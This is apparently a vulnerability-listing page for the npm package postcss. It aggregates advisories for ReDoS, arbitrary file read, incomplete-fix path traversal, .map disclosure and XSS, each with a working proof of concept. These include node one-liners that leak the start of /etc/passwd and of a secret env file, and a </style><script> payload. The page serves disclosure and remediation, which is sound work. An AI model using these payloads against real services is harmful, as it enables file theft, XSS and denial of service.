NodeJS/postcss/6.0.14
Tool for transforming styles with JS plugins
https://www.npmjs.com/package/postcss
MIT
6 Security Vulnerabilities
Regular Expression Denial of Service in postcss
- https://nvd.nist.gov/vuln/detail/CVE-2021-23382
- https://github.com/postcss/postcss/commit/2b1d04c867995e55124e0a165b7c6622c1735956
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1255641
- https://snyk.io/vuln/SNYK-JS-POSTCSS-1255640
- https://github.com/advisories/GHSA-566m-qj78-rww5
- https://github.com/postcss/postcss/releases/tag/7.0.36
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern regex \/\*\s* sourceMappingURL=(.*)
PoC
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS: Arbitrary file read and information disclosure via attacker-controlled sourceMappingURL in CSS comments
- https://github.com/postcss/postcss/security/advisories/GHSA-6g55-p6wh-862q
- https://github.com/postcss/postcss/commit/aaec7b78b3ce2792585b4b300ef1bd5dd5b3e8ad
- https://github.com/postcss/postcss/commit/c64b7488d2731dfa16213739b42c34faf5a9eba3
- https://github.com/postcss/postcss/releases/tag/8.5.12
- https://github.com/advisories/GHSA-6g55-p6wh-862q
Summary
PostCSS's PreviousMap parses the /*# sourceMappingURL=PATH */ comment from any CSS string passed to process() and dereferences PATH against the local filesystem with no scheme, allowlist, or traversal check. An attacker who controls the CSS input can cause the host process to read any file readable by Node and leak the first ~10 bytes of its content through the resulting JSON.parse SyntaxError message. The bug also yields a precise file-existence oracle and a controllable-read primitive that may be combined with large-file targets for DoS. The behaviour is triggered with PostCSS's default options — no from, no map, no plugins required — and is therefore reachable from any pipeline that runs untrusted CSS through PostCSS (CMS themes, user-uploaded styles, browser-extension/userstyle processors, build pipelines for third-party packages, blog comment renderers, etc.).
Details
The dangerous chain lives in lib/previous-map.js and is wired into every Input construction at lib/input.js:70-77.
Input constructor (lib/input.js:70-77):
if (pathAvailable && sourceMapAvailable) {
let map = new PreviousMap(this.css, opts)
if (map.text) {
this.map = map
let file = map.consumer().file
if (!this.file && file) this.file = this.mapResolve(file)
}
}
PreviousMap constructor (lib/previous-map.js:17-29):
constructor(css, opts) {
if (opts.map === false) return
this.loadAnnotation(css)
this.inline = this.startWith(this.annotation, 'data:')
let prev = opts.map ? opts.map.prev : undefined
let text = this.loadMap(opts.from, prev)
...
}
Note opts.map === false is the only short-circuit. With default options (opts.map === undefined), the rest of the constructor — including the filesystem read — executes.
loadAnnotation (lib/previous-map.js:72-84) extracts the URL without sanitisation:
loadAnnotation(css) {
let comments = css.match(/\/\*\s*# sourceMappingURL=/g)
if (!comments) return
let start = css.lastIndexOf(comments.pop())
let end = css.indexOf('*/', start)
if (start > -1 && end > -1) {
this.annotation = this.getAnnotationURL(css.substring(start, end))
}
}
getAnnotationURL (lib/previous-map.js:59-61) only strips the /*# sourceMappingURL= prefix and trims whitespace — no scheme check, no path normalisation, no allowlist.
loadMap (lib/previous-map.js:124-128) — when prev is absent and the annotation is not an inline data: URI:
} else if (this.annotation) {
let map = this.annotation
if (file) map = join(dirname(file), map)
return this.loadFile(map)
}
- If
opts.fromis unset,fileis undefined and the raw attacker-supplied path (e.g./etc/passwd) is used directly. - If
opts.fromis set,path.join(dirname(file), attackerPath)is used.path.joindoes not block..segments, so../../../../../etc/passwdresolves outside the intended directory.
loadFile (lib/previous-map.js:86-92) is the sink:
loadFile(path) {
this.root = dirname(path)
if (existsSync(path)) {
this.mapFile = path
return readFileSync(path, 'utf-8').toString().trim()
}
}
The bytes are stored in this.text. Input immediately invokes map.consumer() (lib/input.js:74), which constructs a SourceMapConsumer (lib/previous-map.js:33). When the file is not valid source-map JSON (the common case), source-map-js calls JSON.parse, and V8's SyntaxError message embeds the first ~10 bytes of the file content:
Unexpected token 'r', "root:x:0:0"... is not valid JSON
This error is propagated back to the caller. Any application that surfaces PostCSS errors (logs, HTTP 500 responses, build-tool output, debug pages) discloses those bytes to the attacker.
Trust-boundary analysis: * Attacker controls: CSS input passed to postcss().process(css, opts?). * Server resources: any file readable by the Node process — typically including app config, environment files, SSH keys, /etc/passwd, /proc/self/environ, etc. * No mitigations: there is no path validation, scheme allowlist, traversal check, or symlink check. The only relevant check (startWith(annotation, 'data:')) routes inline URIs to decodeInline; everything else hits loadFile.
Primitives obtained: * (a) Arbitrary file read — bytes loaded into Node memory. * (b) Information disclosure — first ~10 bytes leaked via JSON.parse SyntaxError message. * (c) File-existence oracle — non-existent paths return silently from loadFile (existsSync is false → returns undefined → no map text → no consumer call → no error). Existent non-JSON paths throw. Existent JSON paths succeed silently. Three distinguishable states. * (d) DoS primitive — directing the read at /dev/zero, very large files, or device files can stall or crash the process.
PoC
All commands executed against this repository's HEAD (postcss 8.5.10) on Node v22.12.0.
Vector 1 — Absolute path, default options (no from, no map):
$ node -e 'const p=require("postcss"); \
try { p().process("a{color:red}\n/*# sourceMappingURL=/etc/passwd */"); } \
catch(e){console.log(e.message)}'
Unexpected token 'r', "root:x:0:0"... is not valid JSON
The first 10 bytes of /etc/passwd (root:x:0:0) are leaked.
Vector 2 — Relative .. traversal with opts.from set (simulates a build pipeline that pins from to the source file):
$ node -e 'const p=require("postcss"); \
p().process("a{color:red}\n/*# sourceMappingURL=../../../../../etc/passwd */", \
{from:"/var/www/html/styles/main.css", map:{inline:false}}) \
.catch(e=>console.log(e.message))'
Unexpected token 'r', "root:x:0:0"... is not valid JSON
path.join('/var/www/html/styles', '../../../../../etc/passwd') resolves to /etc/passwd.
Vector 3 — File-existence oracle:
# Existing non-JSON file → throws (file confirmed to exist)
$ node -e 'require("postcss")().process("a{}\n/*# sourceMappingURL=/etc/passwd */")'
SyntaxError: Unexpected token 'r', "root:x:0:0"... is not valid JSON
# Non-existent file → returns silently (file confirmed absent)
$ node -e 'r=require("postcss")().process("a{}\n/*# sourceMappingURL=/no/such/file */"); console.log("ok")'
ok
Vector 4 — Custom file-content leak:
$ printf 'API_KEY=sk-secret-12345\n' > /tmp/server-secret.env
$ node -e 'require("postcss")().process("a{}\n/*# sourceMappingURL=/tmp/server-secret.env */")' 2>&1 | head -1
SyntaxError: Unexpected token 'A', "API_KEY=sk"... is not valid JSON
The first 10 bytes of /tmp/server-secret.env (API_KEY=sk) are leaked — sufficient to confirm a token's presence and, in many cases, recover its prefix.
Filesystem-call trace (proves the read happens with no opts at all):
const fs = require('fs');
const orig = fs.readFileSync;
fs.readFileSync = function(p){
if (typeof p==='string' && p.startsWith('/etc')) console.log('[FILE READ]:', p);
return orig.apply(this, arguments);
};
require('postcss')().process('a{}\n/*# sourceMappingURL=/etc/hostname */');
// → [FILE READ]: /etc/hostname
// → SyntaxError: Unexpected token 'D', "Debian-tri"... is not valid JSON
Impact
- Arbitrary file read of any file readable by the Node process from any CSS-processing context that accepts attacker-influenced CSS. PostCSS has hundreds of millions of weekly npm downloads and is the standard CSS processor for build tools (webpack
postcss-loader, vite, parcel, Next.js, Gatsby, etc.) and for runtime CSS-handling libraries (CSS Modules tools, CSS minifiers, theme processors). Any pipeline that runs untrusted user CSS — CMS theme uploads, user-styled blog posts, browser-extension/userstyle services, multi-tenant build farms, third-party-package build pipelines — is exposed. - Confidentiality leak of the first ~10 bytes of the targeted file via
JSON.parseSyntaxError. This is enough to recover SSH-key headers, environment-variable prefixes (API_KEY=sk…),/etc/passwdrecords, the start of/proc/self/environ, and other high-value secrets, and to fingerprint the host (Debian-tri…from/etc/hostname). - File-existence oracle with three distinguishable response states (silent success,
JSON.parseerror, no-such-file silence), enabling reconnaissance of the host filesystem layout and confirmation of installed software, user accounts, and configuration files. - DoS by targeting
/dev/zero,/proc/kcore, very large files, or named pipes —readFileSyncis a synchronous, unbounded read. - Default-on: triggered with
postcss().process(css)and no options. The only configuration that disables the bug is the explicit, undocumented-for-this-purpose{ map: false }.
Recommended Fix
The root cause is that loadFile accepts any path the attacker supplies inside a CSS comment. The annotation is meant for tooling, not for production CSS processing of untrusted input. Two layered fixes:
- Refuse traversal/absolute paths in
loadMap(defence-in-depth):
// lib/previous-map.js
loadMap(file, prev) {
if (prev === false) return false
if (prev) { /* unchanged */ }
else if (this.inline) {
return this.decodeInline(this.annotation)
} else if (this.annotation) {
let annotation = this.annotation
// Reject schemes (other than data:, handled above) and absolute paths.
if (/^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(annotation)) return
if (require('path').isAbsolute(annotation)) return
if (!file) return // No base path → cannot safely resolve.
const base = require('path').resolve(require('path').dirname(file))
const resolved = require('path').resolve(base, annotation)
// Refuse anything that escapes the base directory.
if (resolved !== base && !resolved.startsWith(base + require('path').sep)) {
return
}
return this.loadFile(resolved)
}
}
- Require explicit opt-in to follow on-disk source-map annotations: gate the
loadFile(map)call inloadMapbehind an option such asopts.map.annotation === trueoropts.map.followAnnotation === true. Today, the only way to opt out is{ map: false }, which also disables in-memory previous-map handling. Inverting the default — only follow disk-resident annotations when explicitly asked — eliminates the entire attack surface for callers that pass untrusted CSS, while preserving build-tool use cases where the annotation is trusted.
A user-facing changelog entry should warn that postcss().process(untrustedCss) previously read attacker-controlled paths, and recommend auditing applications that surfaced PostCSS errors to end users.
PostCSS line return parsing error
- https://nvd.nist.gov/vuln/detail/CVE-2023-44270
- https://github.com/postcss/postcss/commit/58cc860b4c1707510c9cd1bc1fa30b423a9ad6c5
- https://github.com/postcss/postcss/blob/main/lib/tokenize.js#L25
- https://github.com/postcss/postcss/releases/tag/8.4.31
- https://github.com/advisories/GHSA-7fh5-64p2-3v2j
- https://github.com/github/advisory-database/issues/2820
- https://lists.debian.org/debian-lts-announce/2024/12/msg00025.html
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
PostCSS: incomplete fix of GHSA-6g55-p6wh-862q — attacker-controlled sourceMappingURL reads arbitrary .map files when `from` is unset
Summary
The fix for GHSA-6g55-p6wh-862q added a guard in lib/previous-map.js PreviousMap.loadFile() that restricts an attacker-controlled sourceMappingURL (from a CSS comment) to a .map extension and, for untrusted maps, rejects .. traversal and absolute paths. The traversal/absolute rejection is nested inside if (cssFile) { ... }. When PostCSS is invoked without the from option, cssFile is falsy and that branch is skipped, leaving only the .map extension check.
PreviousMap is constructed by lib/input.js whenever pathAvailable && sourceMapAvailable (under Node with source-map available), independent of opts.from/opts.map (the constructor returns early only for opts.map === false). So postcss([]).process(css) on attacker CSS reaches loadFile with cssFile undefined, and an attacker /*# sourceMappingURL=/abs/path/x.map */ (or ../-traversing path) is read via readFileSync. When the file is valid JSON, its sources (filesystem paths) and sourcesContent (source contents) are disclosed in the generated source map.
Affected code (v8.5.22 — the release carrying the GHSA-6g55 fix)
// lib/previous-map.js
loadFile(path, cssFile, trusted) {
if (!trusted && !this.unsafeMap) {
if (!/\.map$/i.test(path)) {
return undefined
}
if (cssFile) { // guard runs ONLY when `from` is set
let relativePath = relative(dirname(cssFile), path)
if (relativePath === '..' ||
relativePath.startsWith('..' + sep) ||
isAbsolute(relativePath)) {
return undefined
}
}
}
this.root = dirname(path)
if (existsSync(path)) {
this.mapFile = path
return readFileSync(path, 'utf-8').toString().trim() // sink
}
}
// loadMap(): untrusted annotation path, trusted=false; file === opts.from
} else if (this.annotation) {
let map = this.annotation
if (file) map = join(dirname(file), map) // no `from` -> map stays the raw URL
let unknown = this.loadFile(map, file, false) // file undefined -> cssFile falsy
Proof of concept (verified on postcss 8.5.22)
const postcss = require('postcss')
const fs = require('fs')
// a 'secret' sourcemap OUTSIDE any expected tree (stand-in for another project's .map)
const secret = '/tmp/pcpoc/secret_out_of_tree.map'
fs.writeFileSync(secret, JSON.stringify({
version: 3, sources: ['/etc/REAL_PATH_LEAK'], mappings: '', names: [],
sourcesContent: ['TOP_SECRET_abcdef']
}))
const css = 'a{color:red}\n/*# sourceMappingURL=' + secret + ' */'
const leaks = m => m && JSON.stringify(m.toJSON ? m.toJSON() : m).includes('TOP_SECRET_abcdef')
;(async () => {
// A) NO `from` -> guard skipped -> arbitrary absolute .map read + disclosed
const a = await postcss([]).process(css, { map: true })
console.log('no from -> leaked:', !!leaks(a.map)) // true
// B) WITH `from` -> guard active -> blocked
const b = await postcss([]).process(css, { from: '/tmp/pcpoc/in.css', map: true })
console.log('with from -> leaked:', !!leaks(b.map)) // false
})()
Observed output on postcss 8.5.22:
no from -> leaked: true # sourcesContent 'TOP_SECRET_abcdef' AND sources '/etc/REAL_PATH_LEAK' appear in result.map
with from -> leaked: false # guard rejects the absolute path
../ traversal (no from) also succeeds; non-.map targets (.txt, ?x=.map, #.map) are blocked by the .map check. The tested build contains the GHSA-6g55 fix (this.json = JSON.parse(...) in loadMap, consumer() uses this.json || this.text), so this is a residual of that fix.
Impact
Arbitrary .map-file read (absolute path or ../ traversal) and disclosure of the target map's sources (local filesystem paths) and sourcesContent (source) into the generated source map, for any consumer that runs PostCSS on attacker-influenced CSS without a from option and exposes result.map (online CSS playgrounds, minify/lint services, string-input build steps). Bounded to files ending in .map that parse as JSON.
Suggested fix
Apply the traversal/absolute-path rejection to the untrusted map path regardless of whether cssFile is present (resolve against process.cwd() when there is no cssFile, and reject absolute paths and .. escape in all untrusted cases), or refuse to load an untrusted external map when no base file is known.
PostCSS has XSS via Unescaped </style> in its CSS Stringify Output
PostCSS: XSS via Unescaped </style> in CSS Stringify Output
Summary
PostCSS v8.5.5 (latest) does not escape </style> sequences when stringifying CSS ASTs. When user-submitted CSS is parsed and re-stringified for embedding in HTML <style> tags, </style> in CSS values breaks out of the style context, enabling XSS.
Proof of Concept
const postcss = require('postcss');
// Parse user CSS and re-stringify for page embedding
const userCSS = 'body { content: "</style><script>alert(1)</script><style>"; }';
const ast = postcss.parse(userCSS);
const output = ast.toResult().css;
const html = `<style>${output}</style>`;
console.log(html);
// <style>body { content: "</style><script>alert(1)</script><style>"; }</style>
//
// Browser: </style> closes the style tag, <script> executes
Tested output (Node.js v22, postcss v8.5.5): Input: body { content: "</style><script>alert(1)</script><style>"; } Output: body { content: "</style><script>alert(1)</script><style>"; } Contains </style>: true
Impact
Impact non-bundler use cases since bundlers for XSS on their own. Requires some PostCSS plugin to have malware code, which can inject XSS to website.
Suggested Fix
Escape </style in all stringified output values: javascript output = output.replace(/<\/(style)/gi, '<\\/$1');
Credits
Discovered and reported by Sunil Kumar (@TharVid)
PostCSS: Path Traversal in Previous Source Map Auto-Loading (sourceMappingURL) leads to Arbitrary .map File Disclosure
Vulnerability Details
File: lib/previous-map.js Line: 87-98 (loadFile), 129-144 (loadMap)
Root Cause
PostCSS auto-detects a /*# sourceMappingURL=... */ comment inside the CSS text it is asked to parse and, unless the caller explicitly passes map: false, attempts to load that path from disk as a previous source map.
This happens on every postcss.parse() / postcss().process() call by default (opt-out, not opt-in).
loadMap() builds the candidate path via join(dirname(opts.from), annotation), where annotation is the raw, attacker-controlled string from the CSS comment. path.join() normalizes but does not sandbox .. segments, so a ../../../ prefix walks the resolved path outside the intended directory. If opts.from is not set at all, the annotation is used completely unmodified — an absolute path in the CSS comment is read verbatim.
8.5.12 already fixed a strictly worse variant of this (any file, any extension, could be read) by requiring the resolved path to end in .map (loadFile()). That fix did not address the traversal itself, only the target extension. Since the join(dirname(file), map) logic has existed unchanged since PostCSS 8.0.0 (Feb 2020), any file ending in .map remains readable through this path in the current release (8.5.16).
Once loaded, MapGenerator.isMap() treats the mere presence of a loaded previous map
as an implicit request to generate result.map, even when the caller never set the map option. If the loaded map has a sourcesContent field (common for maps emitted by bundlers/transpilers), that content is merged into result.map and returned to the caller — disclosing the traversed-to file's content to whoever supplied the CSS.
Attack Scenario
- A service accepts user-submitted CSS and runs it through PostCSS to lint/format/transform it, e.g.
postcss().process(userCss, { from: '/app/uploads/user123/input.css', to: '/app/uploads/user123/output.css' })— idiomatic usage;mapoption untouched. - Attacker submits CSS containing
/*# sourceMappingURL=../../../../some/other/app/dist/bundle.js.map */(or an absolute path iffromis unset). - PostCSS reads that
.mapfile and folds itssourcesContentintoresult.map. - The service does what most build pipelines do with a truthy
result.map— writes it next to the CSS output or returns it via API (source maps are meant to be consumed by browser devtools, so this is commonly public/served). - Attacker retrieves the emitted map and reads out the traversed file's content.
Impact
Disclosure of the contents of arbitrary .map files reachable via path traversal (or absolute path when from is unset) from the process's filesystem. Affects any application processing CSS it does not fully trust without explicitly passing map: false. No authentication or user interaction beyond submitting CSS text is required.
Vulnerable Code
loadFile(path, cssFile, trusted) {
if (!trusted && !this.unsafeMap) {
if (!/\.map$/i.test(path)) {
return undefined
}
}
this.root = dirname(path)
if (existsSync(path)) {
this.mapFile = path
return readFileSync(path, 'utf-8').toString().trim()
}
}
loadMap(file, prev) {
...
} else if (this.annotation) {
let map = this.annotation
if (file) map = join(dirname(file), map)
let unknown = this.loadFile(map, file, false)
...
}
}
Recommended Fix
Constrain the resolved path to remain inside the CSS file's own directory instead of relying solely on a filename-extension check: js loadFile(path, cssFile, trusted) { if (!trusted && !this.unsafeMap) { if (!/\.map$/i.test(path)) { return undefined } if (!cssFile) return undefined let root = resolve(dirname(cssFile)) let resolvedPath = resolve(root, path) if (resolvedPath !== root && !resolvedPath.startsWith(root + sep)) { return undefined } } this.root = dirname(path) if (existsSync(path)) { this.mapFile = path return readFileSync(path, 'utf-8').toString().trim() } } I've implemented, tested (full existing test suite — 660/660 passing, plus new PoC-based regression checks for both the traversal and legitimate same-directory cases), and can share this fix on request or via a private fork if invited.
Verification
Dynamically confirmed on v8.5.16 (current npm release / repo HEAD) via a standalone Node.js harness against lib/postcss.js: a secret
.map file placed two directories outside a simulated project directory was read via a crafted sourceMappingURL comment in otherwise-innocuous CSS, with its sourcesContent appearing verbatim in result.map.toString() — with no map option set by the caller. A second harness confirmed the simpler no-from case reads an absolute path directly. A third harness confirmed map: false is the only current workaround. The attached fix branch closes both vectors while keeping all 660 existing unit tests green.
292 Other Versions
| Version | License | Security | Released | |
|---|---|---|---|---|
| 8.2.6 | MIT | 7 | 2021-02-10 - 18:38 | over 5 years |
| 8.2.5 | MIT | 7 | 2021-02-06 - 18:57 | over 5 years |
| 8.2.4 | MIT | 7 | 2021-01-09 - 10:28 | over 5 years |
| 8.2.3 | MIT | 7 | 2021-01-07 - 12:06 | over 5 years |
| 8.2.2 | MIT | 7 | 2020-12-29 - 20:56 | over 5 years |
| 8.2.1 | MIT | 7 | 2020-12-09 - 11:52 | over 5 years |
| 8.2.0 | MIT | 7 | 2020-12-08 - 07:16 | over 5 years |
| 8.1.14 | MIT | 7 | 2020-12-04 - 00:21 | almost 6 years |
| 8.1.13 | MIT | 7 | 2020-12-03 - 03:14 | almost 6 years |
| 8.1.12 | MIT | 7 | 2020-12-03 - 02:41 | almost 6 years |
| 8.1.11 | MIT | 7 | 2020-12-03 - 01:44 | almost 6 years |
| 8.1.10 | MIT | 7 | 2020-11-23 - 22:17 | almost 6 years |
| 8.1.9 | MIT | 7 | 2020-11-21 - 18:37 | almost 6 years |
| 8.1.8 | MIT | 7 | 2020-11-19 - 15:58 | almost 6 years |
| 8.1.7 | MIT | 7 | 2020-11-10 - 15:58 | almost 6 years |
| 8.1.6 | MIT | 7 | 2020-11-05 - 16:28 | almost 6 years |
| 8.1.5 | MIT | 7 | 2020-11-05 - 15:50 | almost 6 years |
| 8.1.4 | MIT | 7 | 2020-10-24 - 00:03 | almost 6 years |
| 8.1.3 | MIT | 7 | 2020-10-23 - 02:20 | almost 6 years |
| 8.1.2 | MIT | 7 | 2020-10-19 - 00:02 | almost 6 years |
| 8.1.1 | MIT | 7 | 2020-09-28 - 21:47 | almost 6 years |
| 8.1.0 | MIT | 7 | 2020-09-26 - 23:35 | almost 6 years |
| 8.0.9 | MIT | 7 | 2020-09-23 - 17:04 | almost 6 years |
| 8.0.8 | MIT | 7 | 2020-09-23 - 02:11 | almost 6 years |
| 8.0.7 | MIT | 7 | 2020-09-22 - 00:55 | almost 6 years |
| 8.0.6 | MIT | 7 | 2020-09-20 - 16:53 | almost 6 years |
| 8.0.5 | MIT | 7 | 2020-09-17 - 02:42 | almost 6 years |
| 8.0.4 | MIT | 7 | 2020-09-16 - 22:20 | almost 6 years |
| 8.0.3 | MIT | 7 | 2020-09-15 - 19:13 | almost 6 years |
| 8.0.2 | MIT | 7 | 2020-09-15 - 16:46 | almost 6 years |
| 8.0.1 | MIT | 7 | 2020-09-15 - 15:34 | almost 6 years |
| 8.0.0 | MIT | 7 | 2020-09-15 - 15:20 | almost 6 years |
| 7.0.39 | MIT | 5 | 2021-10-04 - 20:12 | almost 5 years |
| 7.0.38 | MIT | 5 | 2021-09-25 - 07:30 | almost 5 years |
| 7.0.37 | MIT | 5 | 2021-09-25 - 07:25 | almost 5 years |
| 7.0.36 | MIT | 5 | 2021-06-11 - 02:45 | about 5 years |
| 7.0.35 | MIT | 7 | 2020-09-28 - 21:42 | almost 6 years |
| 7.0.34 | MIT | 7 | 2020-09-17 - 01:56 | almost 6 years |
| 7.0.33 | MIT | 7 | 2020-09-16 - 22:12 | almost 6 years |
| 7.0.32 | MIT | 7 | 2020-06-02 - 12:50 | over 6 years |
| 7.0.31 | MIT | 7 | 2020-05-26 - 02:13 | over 6 years |
| 7.0.30 | MIT | 7 | 2020-05-11 - 14:00 | over 6 years |
| 7.0.29 | MIT | 7 | 2020-05-04 - 14:16 | over 6 years |
| 7.0.28 | MIT | 7 | 2020-05-02 - 14:40 | over 6 years |
| 7.0.27 | MIT | 7 | 2020-02-18 - 02:59 | over 6 years |
| 7.0.26 | MIT | 7 | 2019-12-31 - 00:11 | over 6 years |
| 7.0.25 | MIT | 7 | 2019-12-16 - 19:16 | over 6 years |
| 7.0.24 | MIT | 7 | 2019-12-06 - 18:54 | over 6 years |
| 7.0.23 | MIT | 7 | 2019-11-18 - 22:36 | almost 7 years |
| 7.0.22 | MIT | 7 | 2019-11-18 - 22:29 | almost 7 years |
